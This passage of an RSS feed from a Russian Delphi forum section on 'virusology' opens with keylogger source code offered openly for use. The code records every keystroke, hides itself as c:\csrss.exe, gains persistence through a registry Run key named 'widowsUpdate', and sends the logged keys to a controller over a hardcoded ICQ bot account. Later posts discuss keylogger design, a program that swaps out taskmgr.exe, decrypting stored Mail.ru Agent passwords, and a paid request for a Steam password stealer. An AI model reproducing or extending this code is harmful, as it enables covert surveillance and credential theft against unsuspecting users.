&lt;br /&gt; if getasynckeystate($50&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;p&apos;; &lt;br /&gt; if getasynckeystate($51&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;q&apos;; &lt;br /&gt; if getasynckeystate($52&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;r&apos;; &lt;br /&gt; if getasynckeystate($53&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;s&apos;; &lt;br /&gt; if getasynckeystate($54&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;t&apos;; &lt;br /&gt; if getasynckeystate($55&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;u&apos;; &lt;br /&gt; if getasynckeystate($56&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;v&apos;; &lt;br /&gt; if getasynckeystate($57&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;w&apos;; &lt;br /&gt; if getasynckeystate($58&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;x&apos;; &lt;br /&gt; if getasynckeystate($59&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;y&apos;; &lt;br /&gt; if getasynckeystate($5a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;z&apos;; &lt;br /&gt; if getasynckeystate($30&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;0&apos;; &lt;br /&gt; if getasynckeystate($31&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;1&apos;; &lt;br /&gt; if getasynckeystate($32&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;2&apos;; &lt;br /&gt; if getasynckeystate($33&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;3&apos;; &lt;br /&gt; if getasynckeystate($34&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;4&apos;; &lt;br /&gt; if getasynckeystate($35&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;5&apos;; &lt;br /&gt; if getasynckeystate($36&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;6&apos;; &lt;br /&gt; if getasynckeystate($37&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;7&apos;; &lt;br /&gt; if getasynckeystate($38&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;8&apos;; &lt;br /&gt; if getasynckeystate($39&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;9&apos;; &lt;br /&gt; if getasynckeystate($70&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f1]&apos;; &lt;br /&gt; if getasynckeystate($71&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f2]&apos;; &lt;br /&gt; if getasynckeystate($72&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f3]&apos;; &lt;br /&gt; if getasynckeystate($73&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f4]&apos;; &lt;br /&gt; if getasynckeystate($74&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f5]&apos;; &lt;br /&gt; if getasynckeystate($75&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f6]&apos;; &lt;br /&gt; if getasynckeystate($76&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f7]&apos;; &lt;br /&gt; if getasynckeystate($77&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f8]&apos;; &lt;br /&gt; if getasynckeystate($78&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f9]&apos;; &lt;br /&gt; if getasynckeystate($79&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f10]&apos;; &lt;br /&gt; if getasynckeystate($7a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f11]&apos;; &lt;br /&gt; if getasynckeystate($7b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;&amp;#91;f12]&apos;; &lt;br /&gt; if getasynckeystate($61&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;1&apos;; &lt;br /&gt; if getasynckeystate($62&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;2&apos;; &lt;br /&gt; if getasynckeystate($63&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;3&apos;; &lt;br /&gt; if getasynckeystate($64&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;4&apos;; &lt;br /&gt; if getasynckeystate($65&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;5&apos;; &lt;br /&gt; if getasynckeystate($66&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;6&apos;; &lt;br /&gt; if getasynckeystate($67&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;7&apos;; &lt;br /&gt; if getasynckeystate($68&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;8&apos;; &lt;br /&gt; if getasynckeystate($69&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;9&apos;; &lt;br /&gt; if getasynckeystate($6f&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;/&apos;; &lt;br /&gt; if getasynckeystate($6a&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;*&apos;; &lt;br /&gt; if getasynckeystate($6b&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;+&apos;; &lt;br /&gt; if getasynckeystate($6d&amp;#41;&lt;&gt;0 then&amp;nbsp;&amp;nbsp;&amp;nbsp;memo1.Text:=memo1.Text + &apos;-&apos;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt; var reg: tregistry; &lt;br /&gt; begin &lt;br /&gt; CopyFile(PChar(ParamStr(0&amp;#41;&amp;#41;, PChar(&apos;c:&amp;#92;csrss.exe&apos;&amp;#41;,True&amp;#41;; &lt;br /&gt; SetFileAttributes(&apos;c:&amp;#92;csrss.exe&apos;, faHidden&amp;#41;; &lt;br /&gt;&lt;br /&gt; ShowWindow(Handle, SW_HIDE&amp;#41;; &lt;br /&gt; ShowWindow(Application.Handle, SW_HIDE&amp;#41;; &lt;br /&gt;&lt;br /&gt; if 2=2 then &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.UIN:=strtoint(&apos;585629992&apos;&amp;#41;;//Присваем UIN будещего бота &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.Password:=&apos;lK7he5Ia &apos;; //Присваем Пароль будещего бота &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ICQclient1.Login(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Application.ShowMainForm := false; &lt;br /&gt;&lt;br /&gt; if 1=1 then &lt;br /&gt; begin &lt;br /&gt; reg := tregistry.create; &lt;br /&gt; reg.rootkey := HKEY_CURRENT_USER ; &lt;br /&gt; reg.lazywrite := false; &lt;br /&gt; reg.openkey(&apos;software&amp;#92;microsoft&amp;#92;windows&amp;#92;currentversion&amp;#92;run&apos;, false&amp;#41;; &lt;br /&gt; reg.writestring(&apos;widowsUpdate&apos;, &apos;c:&amp;#92;csrss.exe&apos;&amp;#41;; &lt;br /&gt; reg.closekey; &lt;br /&gt; reg.free; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt; procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt; If msg= &apos;send&apos; then ICQClient1.SendMessage(StrToInt(UIN&amp;#41;, memo1.Text&amp;#41;; &lt;br /&gt; If msg= &apos;time&apos; then ICQClient1.SendMessage(StrToInt(UIN&amp;#41;, &apos;Не пашет время! :-(&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Скачать папку с исходниками также можно ниже... ОСТОРОЖНО ТАМ И ПРОГРАММА ЛЕЖИТ!</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>link993</dc:creator>
			<guid>https://delfcode.ru/forum/10-644-1</guid>
		</item>
		<item>
			<title>keylogger</title>
			<link>https://delfcode.ru/forum/10-1402-1</link>
			<pubDate>Tue, 29 Mar 2016 01:00:07 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Пишу клавиатурный шпион, полностью с нуля ну как полагается, столкнулся с вопросом. Решил задать. Как лучше реализовать запить в файл, сначала реализовал запись через промежуток времени каждые 10 секунд, потом подумал правильно ли, есть еще идея записывать лишь после нажатия ПКМ (правой кнопки мыши). Так сказать чтобы быть увереным что пользователь ввел все что надо. Либо запись после нажатия системных клавиш. Как лучше реализовать. &lt;br /&gt;&lt;br /&gt; И еще вопрос как реализовать удаление букв при нажатии например Back Space (ну тут понятно удаляется последний символ), а например при нажатии Insert или Del? буду благодарен заранее, за ответы.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>HTTqp</dc:creator>
			<guid>https://delfcode.ru/forum/10-1402-1</guid>
		</item>
		<item>
			<title>Ваши любимые приколы</title>
			<link>https://delfcode.ru/forum/10-538-1</link>
			<pubDate>Thu, 24 Mar 2016 04:24:01 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Иногда просто охото поприкалываться над юзерами...&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: AligatorBkmz&lt;br /&gt;Количество ответов: 23</description>
			<content:encoded>Наверняка каждый из нас писал что-то вроде программ приколов. Давайте здесь выложим угарные программки, с помощью которых можно будет поржать над юзерами &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; Ну,я первый))). &lt;br /&gt; Вот програмка - фейковый диспетчер, при запуске переименовывает taskmgr.exe на taskmgrexe.old и вместо оригинального вставляет &lt;br /&gt; подставной. После этого прога грузит проц на 100,тем самым это вынуждает юзера вызвать диспетчер. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;div align=&quot;right&quot;&gt;&lt;span style=&quot;color:red&quot;&gt;Вирус индукт в аттаче!&lt;/span&gt;&lt;/div&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Neo</dc:creator>
			<guid>https://delfcode.ru/forum/10-538-1</guid>
		</item>
		<item>
			<title>Mail.ru Agent расшифровка паролей</title>
			<link>https://delfcode.ru/forum/10-1453-1</link>
			<pubDate>Wed, 18 Nov 2015 17:24:46 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: VANS-SOFT&lt;br /&gt;Автор последнего сообщения: VANS-SOFT&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Пароли в реестре по адресу: HCU&amp;#92;Software&amp;#92;Mail.Ru&amp;#92;Agent&amp;#92;magent_logins{N} где {N} зависит от версии агента и принимает значения 2 или 3.&lt;br /&gt;Ключ шифрования тута: C:&amp;#92;Users&amp;#92;VANS-SOFT&amp;#92;AppData&amp;#92;Roaming&amp;#92;Mra&amp;#92;Update&amp;#92;ver.txt (win7)&lt;br /&gt;Алгоритм шифрования: blowfish, режим не известен.&lt;br /&gt;&lt;br /&gt;Использую DCPCrypt под это дело, но MD5 пароля получить не могу т.к. по не ведомой мне причине выводиться разная ересь. Режим шифрования ECB или CBC я не знаю.&lt;br /&gt;&lt;br /&gt;Нужна помощь в решение данного вопроса. мб есть наработки у кого то?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>VANS-SOFT</dc:creator>
			<guid>https://delfcode.ru/forum/10-1453-1</guid>
		</item>
		<item>
			<title>Написать стиллер паролей от Steam</title>
			<link>https://delfcode.ru/forum/10-1449-1</link>
			<pubDate>Sun, 01 Nov 2015 14:53:44 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 1</description>
			<content:encoded>Ребята, раньше был файл ClientRegistry.blob в котором хранился пароль, сейчас Valve что-то поменяли и структура хранения пароля видимо другая. Подкиньте код или напишите для человека программу платно, контакты дам. Нужно срочно</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Slash</dc:creator>
			<guid>https://delfcode.ru/forum/10-1449-1</guid>
		</item>
	</channel>
</rss>